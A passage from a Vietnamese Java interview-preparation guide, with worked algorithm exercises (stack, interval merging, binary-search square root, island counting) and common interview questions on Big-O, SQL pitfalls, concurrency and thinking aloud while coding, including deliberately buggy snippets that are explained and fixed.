        for (int right = k; right < a.length; right++) {
            sum += a[right] - a[right - k]; // add the new element, drop the oldest
            best = Math.max(best, sum);
        }
        return best;
    }
 
    public static void main(String[] args) {
        System.out.println(maxWindowSum(new int[]{2, 1, 5, 1, 3, 2}, 3)); // prints: 9
    }
}



Giải thích: bảng chạy tay:
	right
	Vào, ra
	sum sau bước
	best

	khởi tạo
	2, 1, 5
	8
	8

	3
	vào 1, ra 2
	7
	8

	4
	vào 3, ra 1
	9
	9

	5
	vào 2, ra 5
	6
	9



Khác bài 12.5 ở chỗ cửa sổ luôn dài đúng k, nên left không cần biến riêng mà luôn là right - k + 1. Hỏi thêm đề: tổng có thể vượt int không (nếu có thì dùng long), mảng có số âm không (thuật toán vẫn đúng).
Câu hỏi (Thực chiến): Bài tập 3 (Stack) – Bao nhiêu ngày nữa thì ấm hơn
Đề: cho mảng nhiệt độ theo ngày, với mỗi ngày trả về số ngày phải chờ tới ngày đầu tiên ấm hơn; không có thì 0. Ví dụ [73, 74, 75, 71, 69, 72, 76, 73] trả [1, 1, 4, 2, 1, 1, 0, 0].
Gợi ý: đây là dạng "phần tử lớn hơn kế tiếp". Giữ một stack các ngày đang chờ ngày ấm hơn; một ngày mới ấm hơn sẽ "giải quyết" các ngày trên đỉnh stack.
Đáp án:
Monotonic stack: stack chứa chỉ số các ngày chưa tìm được ngày ấm hơn, nhiệt độ giảm dần từ đáy lên đỉnh; mỗi chỉ số vào và ra stack đúng một lần nên O(n).
	import java.util.*;
 
public class DailyTemperatures {
    static int[] daysUntilWarmer(int[] t) {
        int[] ans = new int[t.length];
        Deque<Integer> stack = new ArrayDeque<>(); // indices still waiting for a warmer day
        for (int i = 0; i < t.length; i++) {
            while (!stack.isEmpty() && t[stack.peek()] < t[i]) {
                int j = stack.pop();
                ans[j] = i - j; // day i is the first warmer day after j
            }
            stack.push(i);
        }
        return ans; // indices left in the stack keep the default 0
    }
 
    public static void main(String[] args) {
        int[] t = {73, 74, 75, 71, 69, 72, 76, 73};
        System.out.println(Arrays.toString(daysUntilWarmer(t))); // prints: [1, 1, 4, 2, 1, 1, 0, 0]
    }
}



Giải thích: chạy tay vài bước: i = 2 (75) đẩy vào; i = 3 (71), i = 4 (69) lạnh hơn nên chỉ đẩy vào, stack (đỉnh bên trái) là 4 3 2; i = 5 (72) ấm hơn 69 và 71 nên pop 4 (ans = 1), pop 3 (ans = 2), dừng ở 75, đẩy 5; i = 6 (76) pop 5 (ans = 1) và pop 2 (ans = 4). Brute-force hai vòng for là O(n^2); vòng while bên trong trông như lồng nhau nhưng tổng số lần pop của cả chương trình không vượt quá n.
Câu hỏi (Thực chiến): Bài tập 4 (Sort + merge) – Tổng số phút phòng họp bị chiếm
Đề: cho danh sách cuộc họp [start, end) tính bằng phút, có thể chồng nhau, tính tổng số phút phòng có ít nhất một cuộc họp. Ví dụ [[10,30],[20,40],[50,60]] trả 40.
Gợi ý: đừng cộng thẳng độ dài từng cuộc họp (sẽ đếm trùng 10 phút từ 20 tới 30). Gộp các khoảng chồng lấn trước, như mục 12.7.
Đáp án:
Sort theo start, gộp khoảng chồng lấn, cộng độ dài các khoảng sau gộp; O(n log n) do bước sort.
	import java.util.*;
 
public class BusyMinutes {
    static int busyMinutes(int[][] meetings) {
        if (meetings.length == 0) return 0;
        int[][] sorted = meetings.clone();
        Arrays.sort(sorted, Comparator.comparingInt(m -> m[0]));
        int total = 0, curStart = sorted[0][0], curEnd = sorted[0][1];
        for (int i = 1; i < sorted.length; i++) {
            if (sorted[i][0] < curEnd) {             // [start, end): touching is not overlapping
                curEnd = Math.max(curEnd, sorted[i][1]);
            } else {
                total += curEnd - curStart;          // close the merged block
                curStart = sorted[i][0];
                curEnd = sorted[i][1];
            }
        }
        return total + (curEnd - curStart);          // the last block
    }
 
    public static void main(String[] args) {
        System.out.println(busyMinutes(new int[][]{{10, 30}, {20, 40}, {50, 60}})); // prints: 40
    }
}



Giải thích: hai khoảng đầu gộp thành [10,40) dài 30 phút, khoảng [50,60) dài 10 phút, tổng 40. Vì đề dùng nửa khoảng [start, end), hai cuộc họp [10,20) và [20,30) chỉ chạm nhau, điều kiện dùng < thay vì <=; cả hai cách đều ra cùng tổng số phút, nhưng nói ra được lựa chọn này cho thấy bạn đọc đề kỹ. Không cần lưu danh sách khoảng đã gộp, chỉ cần cộng dồn, nên bộ nhớ phụ chỉ là bản sao mảng.
Câu hỏi (Thực chiến): Bài tập 5 (Binary search) – Căn bậc hai nguyên không dùng Math.sqrt
Đề: cho số nguyên x ≥ 0, trả về phần nguyên của căn bậc hai. Ví dụ x = 8 trả 2, x = 16 trả 4, x = 2147483647 trả 46340.
Gợi ý: binary search trên không gian đáp án (mục 12.7, callout DEEP). Điều kiện m * m > x có tính đơn điệu: sai, sai, ..., đúng, đúng. Cẩn thận tràn số khi nhân.
Đáp án:
Dùng khuôn lower bound tìm số m nhỏ nhất có m * m > x, đáp án là m - 1; tính bằng long để mid * mid không tràn int. O(log x).
	public class IntSqrt {
    static int intSqrt(int x) {
        long lo = 0, hi = (long) x + 1; // first m with m*m > x lies in [lo, hi]
        while (lo < hi) {
            long mid = lo + (hi - lo) / 2;
            if (mid * mid <= x) lo = mid + 1; // mid is still small enough
            else hi = mid;
        }
        return (int) (lo - 1);
    }
 
    public static void main(String[] args) {
        System.out.println(intSqrt(8));                 // prints: 2
        System.out.println(intSqrt(16));                // prints: 4
        System.out.println(intSqrt(0));                 // prints: 0
        System.out.println(intSqrt(Integer.MAX_VALUE)); // prints: 46340
    }
}



Giải thích: với x = 8, các số 0, 1, 2 có bình phương ≤ 8, số 3 có bình phương 9 > 8, nên m = 3 và đáp án 2. Nếu dùng int cho mid, với x gần Integer.MAX_VALUE thì mid * mid tràn thành số âm, điều kiện <= x đúng sai lung tung và kết quả sai. hi là x + 1 cũng phải tính bằng long vì Integer.MAX_VALUE + 1 tràn. Đây là ca biên mà người phỏng vấn gần như chắc chắn sẽ hỏi.
Câu hỏi (Thực chiến): Bài tập 6 (BFS) – Đếm số đảo
Đề: cho lưới 0/1, 1 là đất, 0 là nước; các ô đất nối nhau theo 4 hướng tạo thành một đảo. Đếm số đảo. Ví dụ lưới dưới đây có 3 đảo.
	1 1 0 0
1 0 0 1
0 0 1 1
1 0 0 0



Gợi ý: duyệt từng ô; gặp ô đất chưa thăm thì tăng đếm và chạy BFS "loang" đánh dấu cả đảo đó là đã thăm.
Đáp án:
Mỗi lần gặp ô đất chưa thăm là gặp một đảo mới; BFS từ ô đó đánh dấu toàn bộ đảo để không đếm lại. Mỗi ô được xử lý một lần nên O(m·n).
	import java.util.*;
 
public class CountIslands {
    static int countIslands(int[][] grid) {
        int m = grid.length, n = grid[0].length, islands = 0;
        boolean[][] visited = new boolean[m][n];
        int[][] dirs = {{1, 0}, {-1, 0}, {0, 1}, {0, -1}};
        for (int i = 0; i < m; i++) {
            for (int j = 0; j < n; j++) {
                if (grid[i][j] == 0 || visited[i][j]) continue;
                islands++; // new island found, flood it
                Deque<int[]> queue = new ArrayDeque<>();
                queue.offer(new int[]{i, j});
                visited[i][j] = true;
                while (!queue.isEmpty()) {
                    int[] cur = queue.poll();
                    for (int[] d : dirs) {
                        int r = cur[0] + d[0], c = cur[1] + d[1];
                        if (r < 0 || r >= m || c < 0 || c >= n || visited[r][c] || grid[r][c] == 0) continue;
                        visited[r][c] = true;
                        queue.offer(new int[]{r, c});
                    }
                }
            }
        }
        return islands;
    }
 
    public static void main(String[] args) {
        int[][] grid = {{1, 1, 0, 0}, {1, 0, 0, 1}, {0, 0, 1, 1}, {1, 0, 0, 0}};
        System.out.println(countIslands(grid)); // prints: 3
    }
}



Giải thích: duyệt theo hàng: ô (0,0) là đất mới, đếm 1, BFS đánh dấu (0,0), (1,0), (0,1). Tiếp theo ô (1,3) là đất mới, đếm 2, BFS đánh dấu (1,3), (2,3), (2,2). Cuối cùng ô (3,0) đứng riêng, đếm 3. Ô (2,2) và (1,3) chỉ nối qua (2,3) nhưng vẫn cùng một đảo, đó là lý do phải loang chứ không chỉ nhìn ô kề trực tiếp. Dùng DFS đệ quy cũng được, nhưng với lưới lớn có rủi ro StackOverflowError như callout ở mục 12.8. Nếu được phép sửa input, có thể ghi đè ô đã thăm thành 0 thay cho mảng visited, nhưng phải hỏi trước.
12.15 Câu hỏi phỏng vấn thường gặp
Các câu dưới đây nhóm theo chủ đề: Big-O và quy trình, giải thuật, SQL, concurrency, và cách nói to khi code.
Câu hỏi (Cơ bản): Big-O là gì, vì sao khi tính lại được bỏ hằng số?
Big-O mô tả số bước (hoặc bộ nhớ) tăng nhanh cỡ nào khi kích thước đầu vào n tăng, không đo thời gian tuyệt đối.
1. Bỏ hằng số vì khi n rất lớn, hình dạng tăng trưởng quyết định tất cả: thuật toán 5n bước với n = 1 triệu là 5 triệu bước, còn n^2 là 10^12 bước; hệ số 5 không làm thay đổi kết luận.
1. Tuy vậy, hằng số vẫn có ý nghĩa thực tế khi n nhỏ hoặc khi hai thuật toán cùng Big-O: mảng int[26] và HashMap cùng O(1) cho mỗi lần tra nhưng mảng nhanh hơn nhiều vì không phải tính hash hay boxing.
1. Nên nói kèm cả trường hợp: trung bình (HashMap O(1)) và xấu nhất (O(log n) khi bucket treeify).
Câu hỏi (Cơ bản): "O(1) khấu hao" của ArrayList.add nghĩa là gì?
Phần lớn các lần add tốn O(1), thỉnh thoảng một lần tốn O(n) để copy sang mảng lớn hơn, nhưng tính trung bình trên nhiều lần add thì mỗi lần vẫn là hằng số.
ArrayList giãn mảng lên khoảng 1,5 lần mỗi khi đầy. Với n lần add, tổng số phần tử phải copy qua mọi lần giãn chỉ cỡ vài lần n, chia cho n lần add thì mỗi lần tốn hằng số. Hệ quả thực tế: nếu biết trước kích thước (ví dụ map 10.000 dòng từ DB sang DTO), khởi tạo new ArrayList<>(10_000) để tránh giãn nhiều lần.
	CÂU HỎI ĐÀO SÂU
"Vậy có lần add nào chậm bất thường không?" Có, lần add kích hoạt giãn mảng tốn O(n); với list rất lớn, lần đó có thể tạo một mảng mới hàng trăm MB và gây áp lực lên GC. Đây là lý do với hệ thống nhạy độ trễ, người ta cấp sẵn capacity.



Câu hỏi (Cơ bản): Trước khi code một bài live coding, bạn cần hỏi những gì?
Hỏi về dữ liệu vào, dữ liệu ra và kích thước: input có rỗng, null, trùng, âm không; không có đáp án thì trả gì; n cỡ bao nhiêu.
1. Dữ liệu vào: mảng rỗng, null, phần tử trùng, số âm, chuỗi có chữ hoa hoặc Unicode không.
1. Dữ liệu ra: trả index hay giá trị, nhiều đáp án thì trả cái nào, không có thì trả -1, mảng rỗng hay ném exception.
1. Kích thước: n cỡ nghìn hay chục triệu, dữ liệu có vừa bộ nhớ không; điều này quyết định O(n^2) có chấp nhận được không.
1. Nói to các giả định nếu người phỏng vấn bảo "em tự quyết": "Em giả định input không null và chỉ có chữ thường a-z".
Câu hỏi (Cơ bản): Khi nào dùng mảng int[26] thay cho HashMap để đếm ký tự?
Khi tập ký tự nhỏ, biết trước và liên tục (chữ thường a-z); ngoài ra thì dùng HashMap.
int[26] nhanh hơn (truy cập mảng trực tiếp, không boxing Character/Integer, không tính hash) và bộ nhớ cố định O(1). Nhưng nó ném ArrayIndexOutOfBoundsException ngay khi gặp chữ hoa, chữ số hay chữ có dấu tiếng Việt, vì 'A' - 'a' là số âm và 'ă' - 'a' vượt 25. Với ASCII mở rộng có thể dùng int[128] hoặc int[256]; với Unicode tổng quát thì dùng HashMap<Integer, Integer> theo code point.
Câu hỏi (Cơ bản): Vì sao không lọc được rnk của window function trong mệnh đề WHERE cùng cấp?
Vì WHERE được thực thi trước khi window function được tính, nên tại thời điểm lọc cột rnk chưa tồn tại; phải bọc trong subquery hoặc CTE rồi lọc ở tầng ngoài.
	-- Fails: column "rnk" does not exist at WHERE time
SELECT name, DENSE_RANK() OVER (ORDER BY salary DESC) AS rnk
FROM employee
WHERE rnk = 2;
 
-- Works: compute in a CTE, filter outside
WITH ranked AS (
  SELECT name, salary, DENSE_RANK() OVER (ORDER BY salary DESC) AS rnk
  FROM employee
)
SELECT name, salary FROM ranked WHERE rnk = 2;



Giải thích: câu đầu báo lỗi cột không tồn tại (PostgreSQL: column "rnk" does not exist, MySQL: Unknown column 'rnk' in 'where clause'). Câu thứ hai tính hạng trong CTE ranked, sau đó truy vấn ngoài coi ranked như một bảng bình thường nên lọc rnk được. CTE và subquery trong FROM tương đương nhau ở đây, CTE dễ đọc hơn khi viết trên giấy. Một số hệ quản trị (Snowflake, BigQuery, DuckDB) có mệnh đề QUALIFY để lọc trực tiếp, nhưng MySQL và PostgreSQL chưa có, nên đừng dùng khi đề không nói rõ DB.
Câu hỏi (Hiểu sâu): Sliding window có vòng lặp của right và left cùng di chuyển, vì sao vẫn là O(n) chứ không phải O(n^2)?
Vì cả hai con trỏ chỉ đi về phía trước và không bao giờ vượt quá n, nên tổng số lần di chuyển của cả hai tối đa là 2n.
Cách đếm đúng là đếm tổng số bước của từng con trỏ trong cả chương trình, không phải nhân số vòng ngoài với số bước tối đa của vòng trong. right đi đúng n bước. left có thể có lúc nhảy nhiều ô trong một vòng (như ở bảng chạy tay mục 12.5), nhưng tổng quãng nó đi cũng không quá n. Cách lập luận này (amortized analysis) áp dụng cho cả monotonic stack ở bài tập 3: mỗi phần tử push một lần, pop tối đa một lần.
	BẪY THƯỜNG GẶP
Nếu mỗi lần co cửa sổ bạn lại tạo substring mới hoặc quét lại cả cửa sổ để kiểm tra điều kiện, độ phức tạp thật sẽ là O(n·k) hoặc O(n^2) dù code "trông như" sliding window. Trạng thái cửa sổ phải được cập nhật tăng dần bằng map hoặc biến đếm.



Câu hỏi (Hiểu sâu): Vì sao BFS tìm được đường ngắn nhất trên lưới còn DFS thì không?
Vì BFS xử lý các ô theo đúng thứ tự khoảng cách tăng dần, nên lần đầu gặp ô đích là qua đường ngắn nhất; DFS đi sâu theo một hướng nên có thể tới đích bằng đường vòng trước.
Queue của BFS luôn chứa các ô có khoảng cách d hoặc d + 1, không bao giờ lẫn xa hơn (xem cột "Queue sau lượt" ở bảng chạy tay mục 12.8). DFS muốn tìm đường ngắn nhất phải duyệt hết mọi đường và so sánh, tốn hàm mũ trong trường hợp xấu. Lưu ý điều này chỉ đúng khi mọi cạnh có cùng trọng số (mỗi bước tốn 1); nếu các bước có chi phí khác nhau (đường cao tốc và đường làng), phải dùng Dijkstra với PriorityQueue.
Câu hỏi (Hiểu sâu): Trong LRU tự cài, vì sao cần danh sách liên kết đôi và vì sao Node phải lưu cả key?
Liên kết đôi cho phép gỡ một node bất kỳ khỏi danh sách trong O(1) khi đã có tham chiếu tới nó (từ HashMap); lưu key để khi evict node cuối danh sách còn biết xóa entry nào khỏi HashMap.
1. Với danh sách liên kết đơn, muốn gỡ node X phải biết node đứng trước X, mà tìm node đó tốn O(n). Liên kết đôi có sẵn prev, nên unlink chỉ là gán lại hai con trỏ.
1. Khi cache đầy, ta lấy node sát tail; lúc đó ta chỉ có node, không có key, nên node phải mang key để gọi map.remove(node.key). Quên điều này là lỗi rất hay gặp khi code trên giấy.
1. ArrayList không dùng được vì xóa ở giữa là O(n).
Câu hỏi (Hiểu sâu): Vì sao phải gọi wait() trong vòng while chứ không dùng if?
Vì thread có thể thức dậy khi điều kiện vẫn chưa đúng: spurious wakeup (JVM cho phép thức dậy không lý do), hoặc bị notifyAll đánh thức cùng lúc với thread khác và thread kia đã giành lượt trước.
Với if, thread thức dậy và làm tiếp mà không kiểm tra lại, dẫn tới in sai lượt hoặc lấy phần tử từ queue đã rỗng. Với while, sau mỗi lần thức dậy thread kiểm tra lại điều kiện, chưa tới lượt thì ngủ tiếp. Đây là quy tắc được ghi rõ trong Javadoc của Object.wait(). Trong bài in chẵn lẻ ở mục 12.12, hai thread dùng chung notifyAll, nên thread vừa in xong cũng có thể được đánh thức bởi chính lời gọi của thread kia ở vòng sau và cần kiểm tra lại lượt.
Câu hỏi (Hiểu sâu): Producer-consumer có 3 consumer thì poison pill cần thay đổi gì?
Producer phải gửi đúng 3 poison pill, mỗi consumer nhận một viên rồi thoát; nếu chỉ gửi một viên, một consumer thoát còn hai consumer kia treo mãi ở take().
1. Cách khác: consumer nhận poison pill thì đặt lại nó vào queue trước khi thoát để consumer kế tiếp cũng nhận được; cách này không cần biết trước số consumer.
1. Trong code thực tế với ExecutorService, thường dùng shutdown() cùng poll(timeout) kiểm tra cờ dừng, hoặc shutdownNow() để interrupt các consumer đang chờ.
1. Giá trị poison pill phải không trùng dữ liệu thật; với object, dùng một hằng static final và so sánh bằng ==.
Câu hỏi (Hiểu sâu): Top 3 khách hàng từ một map có hàng triệu khách, sort toàn bộ hay dùng PriorityQueue?
Với N nhỏ (3, 10) và k rất lớn, PriorityQueue (min-heap) giữ N phần tử cho O(k log N), tốt hơn sort toàn bộ O(k log k) và không cần copy cả tập ra list.
Ý tưởng: duyệt từng khách, đưa vào heap; khi heap vượt N phần tử thì bỏ phần tử nhỏ nhất ở đỉnh. Cuối cùng heap chứa N khách lớn nhất (thứ tự trong heap chưa sort, cần sort lại N phần tử). Với k = 1 triệu, N = 3: sort cần khoảng 20 triệu phép so sánh, heap cần khoảng 1,6 triệu. Tuy vậy, khi k chỉ vài nghìn, cách Stream sorted().limit(3) ở mục 12.10 dễ đọc hơn và đủ nhanh; nói được trade-off này mới là điểm cộng. Trong production, top N trên dữ liệu lớn nên đẩy xuống DB bằng ORDER BY ... LIMIT có index.
Câu hỏi (Đọc code): Hàm khử trùng dưới đây có độ phức tạp bao nhiêu, sửa thế nào?
	static List<Integer> dedupe(List<Integer> input) {
    List<Integer> result = new ArrayList<>();
    for (Integer x : input) {
        if (!result.contains(x)) result.add(x);
    }
    return result;
}



Đáp án:
O(n^2) trong trường hợp xấu nhất, vì result.contains(x) quét tuyến tính cả list kết quả cho mỗi phần tử; sửa bằng LinkedHashSet hoặc thêm một HashSet phụ để còn O(n).
1. Với n = 1.000 phần tử khác nhau, số lần so sánh cỡ 500.000; với n = 1.000.000 là cỡ 5 × 10^11, tức hàm "chạy đúng" trên dữ liệu test nhưng treo trên production.
1. Cách sửa giữ nguyên thứ tự xuất hiện: return new ArrayList<>(new LinkedHashSet<>(input));. Hoặc giữ vòng lặp nhưng thêm Set<Integer> seen = new HashSet<>() và kiểm tra seen.add(x) (trả false khi đã có).
1. Code không có lỗi đúng đắn: contains dùng equals nên Integer so sánh đúng giá trị. Nếu phần tử là object tự định nghĩa, cả hai cách đều yêu cầu equals/hashCode đúng (xem N1.9).
Câu hỏi (Đọc code): Binary search dưới đây sai ở edge case nào?
	static int lowerBound(int[] nums, int target) {
    int lo = 0, hi = nums.length - 1;
    while (lo < hi) {
        int mid = (lo + hi) / 2;
        if (nums[mid] < target) lo = mid;
        else hi = mid;
    }
    return lo;
}



Đáp án:
Có ba lỗi: lo = mid gây vòng lặp vô hạn khi khoảng còn hai phần tử, hi = nums.length - 1 khiến không bao giờ trả được nums.length khi mọi phần tử nhỏ hơn target, và mảng rỗng trả 0 như thể có đáp án.
1. Vòng lặp vô hạn: nums = [1, 3], target = 3. lo = 0, hi = 1, mid = 0, nums[0] = 1 < 3 nên lo = mid = 0; trạng thái không đổi và lặp mãi. Quy tắc: nhánh nào loại mid thì phải là mid + 1 hoặc mid - 1, nếu không khoảng không thu hẹp.
1. Biên phải: nums = [1, 2], target = 5 phải trả 2 (không có phần tử ≥ 5), nhưng code chỉ có thể trả tối đa 1. Nên dùng nửa khoảng [0, nums.length) như khuôn ở mục 12.7.
1. (lo + hi) / 2 tràn số khi lo và hi gần Integer.MAX_VALUE; ít gặp với mảng nhưng gặp khi binary search trên không gian đáp án. Dùng lo + (hi - lo) / 2.
Câu hỏi (Đọc code): Đoạn sliding window dưới đây in ra gì với hai input, và sai ở đâu?
	import java.util.*;
 
public class BuggyWindow {
    static int longest(String s) {
        Map<Character, Integer> lastIndex = new HashMap<>();
        int best = 0, left = 0;
        for (int right = 0; right < s.length(); right++) {
            Integer prev = lastIndex.get(s.charAt(right));
            if (prev != null) left = prev + 1;
            lastIndex.put(s.charAt(right), right);
            best = Math.max(best, right - left + 1);
        }
        return best;
    }
 
    public static void main(String[] args) {
        System.out.println(longest("abcabcbb")); // prints: 3
        System.out.println(longest("abba"));     // prints: 3
    }
}



Đáp án:
In 3 và 3. Với "abcabcbb" kết quả tình cờ đúng, nhưng với "abba" đáp án đúng là 2; lỗi là thiếu điều kiện prev >= left, nên left bị kéo lùi về một vị trí cũ nằm ngoài cửa sổ.
Chạy tay "abba": right = 2 gặp b có prev = 1 nên left = 2, cửa sổ "b". Right = 3 gặp a có prev = 0; code gán left = 1, tức lùi từ 2 về 1, cửa sổ thành "bba" dài 3 dù chứa hai chữ b. Bài học: chỉ chạy tay ví dụ mẫu của đề ("abcabcbb") không đủ; bạn phải tự nghĩ ca biên khiến ký tự lặp nằm ngoài cửa sổ. Sửa: if (prev != null && prev >= left), hoặc viết left = Math.max(left, prev + 1).
Câu hỏi (Đọc code): Hàm merge interval dưới đây in ra gì?
	import java.util.*;
 
public class BuggyMerge {
    static int[][] merge(int[][] intervals) {
        int[][] sorted = intervals.clone();
        Arrays.sort(sorted, Comparator.comparingInt(a -> a[0]));
        List<int[]> result = new ArrayList<>();
        int[] cur = sorted[0].clone();
        for (int i = 1; i < sorted.length; i++) {
            if (sorted[i][0] <= cur[1]) cur[1] = sorted[i][1];
            else { result.add(cur); cur = sorted[i].clone(); }
        }
        result.add(cur);
        return result.toArray(new int[0][]);
    }
 
    public static void main(String[] args) {
        int[][] in = {{1, 10}, {2, 3}, {4, 5}};
        System.out.println(Arrays.deepToString(merge(in))); // prints: [[1, 3], [4, 5]]
    }
}



Đáp án:
In [[1, 3], [4, 5]] trong khi đáp án đúng là [[1, 10]]; lỗi là gán cur[1] = sorted[i][1] thay vì Math.max(cur[1], sorted[i][1]), nên khoảng nằm lồng bên trong làm co ngắn khoảng lớn.
Chạy tay: cur = [1,10]; [2,3] có 2 ≤ 10 nên cur[1] = 3, cur thành [1,3] (sai, đã mất đoạn 3 tới 10); [4,5] có 4 > 3 nên chốt [1,3] và mở [4,5]. Ví dụ mẫu [[1,3],[2,6],...] không lộ lỗi này vì các khoảng không lồng nhau, nên hãy luôn tự thêm một ca "khoảng lồng trong khoảng" khi tự test. Ngoài ra hàm ném ArrayIndexOutOfBoundsException với mảng rỗng vì thiếu dòng kiểm tra intervals.length == 0.
Câu hỏi (Đọc code): Chương trình dưới đây in ra gì, vì sao?
	public class RaceCounter {
    private static int count = 0;
 
    public static void main(String[] args) throws InterruptedException {
        Runnable task = () -> { for (int i = 0; i < 100_000; i++) count++; };
        Thread t1 = new Thread(task), t2 = new Thread(task);
        t1.start(); t2.start();
        t1.join(); t2.join();
        System.out.println(count); // usually prints a number below 200000
    }
}



Đáp án:
Thường in một số nhỏ hơn 200.000 và khác nhau mỗi lần chạy, vì count++ không phải thao tác nguyên tử: nó gồm đọc, cộng 1 và ghi lại, hai thread có thể cùng đọc một giá trị cũ và ghi đè lên nhau (race condition).
1. Ví dụ xen kẽ: t1 đọc 5, t2 đọc 5, t1 ghi 6, t2 ghi 6; hai lần tăng chỉ còn một.
1. join() đảm bảo main thấy kết quả cuối của hai thread (happens-before), nên vấn đề không nằm ở việc in, mà ở các lần tăng bị mất.
1. volatile không sửa được, vì nó chỉ đảm bảo nhìn thấy giá trị mới, không làm đọc-sửa-ghi thành nguyên tử. Sửa bằng AtomicInteger.incrementAndGet(), LongAdder khi tranh chấp cao, hoặc synchronized. Xem mục 3.3, 3.4.
Câu hỏi (Đọc code): Câu SQL lấy người lương cao nhất mỗi phòng dưới đây sai ở đâu?
	SELECT department_id, name, MAX(salary) AS max_salary
FROM employee
GROUP BY department_id;



Đáp án:
Cột name không nằm trong GROUP BY và không phải hàm gộp, nên PostgreSQL và MySQL 5.7+ (chế độ ONLY_FULL_GROUP_BY mặc định) báo lỗi; các DB cho chạy thì trả một name bất kỳ trong nhóm, không đảm bảo là người có lương cao nhất.
1. Lý do: sau GROUP BY mỗi phòng chỉ còn một dòng, nhưng phòng có nhiều name, DB không biết chọn tên nào. MAX(salary) không "kéo theo" tên của dòng chứa giá trị max.
1. Cách đúng: window function như mục 12.11 (DENSE_RANK() OVER (PARTITION BY department_id ORDER BY salary DESC) rồi lọc rnk = 1, trả mọi người cùng lương cao nhất), hoặc JOIN lại với subquery (department_id, MAX(salary)).
1. Ca biên nên nói ra: hai người cùng lương cao nhất thì trả cả hai hay một? Câu trả lời quyết định chọn DENSE_RANK hay ROW_NUMBER.
Câu hỏi (Thực chiến): Viết SQL tìm khách hàng chưa từng đặt đơn nào. Vì sao NOT IN nguy hiểm?
Dùng NOT EXISTS hoặc LEFT JOIN ... WHERE o.id IS NULL; tránh NOT IN (subquery) vì chỉ cần subquery trả một giá trị NULL là cả câu trả về rỗng.
	-- Safe: NOT EXISTS ignores NULLs in orders.customer_id
SELECT c.id, c.name
FROM customer c
WHERE NOT EXISTS (SELECT 1 FROM orders o WHERE o.customer_id = c.id);
 
-- Dangerous: returns no rows if any orders.customer_id is NULL
SELECT id, name FROM customer
WHERE id NOT IN (SELECT customer_id FROM orders);



Giải thích: x NOT IN (1, 2, NULL) được hiểu là x <> 1 AND x <> 2 AND x <> NULL; so sánh với NULL cho kết quả UNKNOWN, nên cả biểu thức không bao giờ TRUE và mọi dòng bị loại. NOT EXISTS chỉ hỏi "có tồn tại dòng khớp không", không bị ảnh hưởng. Ví dụ: bảng orders có một đơn khách vãng lai với customer_id NULL; câu NOT IN bỗng trả rỗng dù có khách chưa mua gì. Về hiệu năng, PostgreSQL và MySQL 8 đều tối ưu NOT EXISTS và LEFT JOIN IS NULL thành anti-join; cần index trên orders.customer_id.
Câu hỏi (Thực chiến): Viết code gọi 3 service song song, chờ cả 3 xong mới cộng kết quả, có timeout.
Dùng CompletableFuture với executor riêng, allOf để chờ cả ba, orTimeout để không chờ vô hạn; không dùng new Thread và join thủ công.
	import java.util.concurrent.*;
 
public class ParallelCalls {
    public static void main(String[] args) {
        ExecutorService pool = Executors.newFixedThreadPool(3); // dedicated pool, not the common pool
        try {
            CompletableFuture<Integer> price = CompletableFuture.supplyAsync(() -> 100, pool);
            CompletableFuture<Integer> tax = CompletableFuture.supplyAsync(() -> 10, pool);
            CompletableFuture<Integer> shipping = CompletableFuture.supplyAsync(() -> 25, pool);
            int total = CompletableFuture.allOf(price, tax, shipping)
                .thenApply(v -> price.join() + tax.join() + shipping.join()) // all done, join() won't block
                .orTimeout(2, TimeUnit.SECONDS)                               // fail instead of waiting forever
                .join();
            System.out.println("Total = " + total); // prints: Total = 135
        } finally {
            pool.shutdown();
        }
    }
}



Giải thích: ba lambda supplyAsync đại diện cho ba lời gọi service, chạy đồng thời trên pool 3 thread nên tổng thời gian xấp xỉ lời gọi chậm nhất, không phải tổng ba lời gọi. allOf hoàn thành khi cả ba xong; bên trong thenApply, gọi join() không còn chặn vì kết quả đã có. Nếu quá 2 giây, orTimeout làm future thất bại với TimeoutException (bọc trong CompletionException khi join). Trong phỏng vấn, nói thêm: xử lý lỗi từng lời gọi bằng exceptionally để trả giá trị mặc định nếu nghiệp vụ cho phép, và không dùng common ForkJoinPool cho I/O. Chi tiết xem mục 3.7. Cách khác cũng được chấp nhận: CountDownLatch(3) hoặc invokeAll của ExecutorService.
Câu hỏi (Thực chiến): Bạn bị kẹt 10 phút giữa bài, không nghĩ ra cách tối ưu. Bạn nói gì?
Nói to trạng thái hiện tại và phương án dự phòng: "Em chưa ra cách O(n), em sẽ code bản brute-force O(n^2) chạy đúng trước, rồi tìm chỗ tối ưu"; một lời giải đúng mà chậm luôn hơn trang giấy trắng.
1. Mô tả chỗ vướng cụ thể: "Em đang cần biết phần tử lớn hơn kế tiếp mà không quét lại, em đang nghĩ tới stack nhưng chưa rõ lúc nào pop." Người phỏng vấn gợi ý đúng chỗ khi biết bạn kẹt ở đâu.
1. Quay lại ví dụ nhỏ và chạy tay, thường sẽ thấy mẫu lặp lại.
1. Điểm lại các mẫu tư duy: đếm/tìm cặp thì HashMap, đoạn liên tiếp thì sliding window, lồng nhau thì stack, có thứ tự thì binary search.
1. Khi nhận gợi ý, xác nhận lại bằng lời và đi tiếp, đừng xin lỗi nhiều lần.
	BẪY THƯỜNG GẶP
Im lặng xóa đi viết lại nhiều lần, hoặc nói "em chịu" khi còn 20 phút. Với người phỏng vấn, cả hai đều cho thấy khi gặp bug khó trong dự án bạn cũng sẽ im lặng như vậy.



Câu hỏi (Thực chiến): Code của bạn chạy đúng, người phỏng vấn hỏi "nếu input là 10 triệu phần tử thì sao?". Bạn trả lời thế nào?
Trả lời theo ba tầng: độ phức tạp thời gian còn chấp nhận được không, bộ nhớ có đủ không, và dữ liệu có nên nằm trong một JVM không.
1. Thời gian: O(n) với 10 triệu là vài chục mili giây, ổn; O(n log n) vẫn ổn; O(n^2) là 10^14 bước, bắt buộc tối ưu.
1. Bộ nhớ: một HashMap<Integer, Integer> 10 triệu entry tốn cỡ vài trăm MB đến 1 GB do boxing và overhead mỗi entry; có thể chuyển sang mảng nguyên thủy, bitset, hoặc thư viện map chuyên cho primitive.
1. Kiến trúc: nếu dữ liệu nằm trong DB, đẩy phép tính xuống SQL (GROUP BY, index); nếu là file lớn, đọc theo luồng/batch thay vì load hết; nếu vượt một máy, chia nhỏ và xử lý song song.
1. Kết bằng câu hỏi ngược: "Dữ liệu này đến từ đâu, có cần kết quả real-time không?" cho thấy bạn nghĩ như người làm production.
Câu hỏi (Thực chiến): Trong lúc code, bạn nên nói gì để người phỏng vấn thấy được tư duy mà không làm chậm tốc độ?
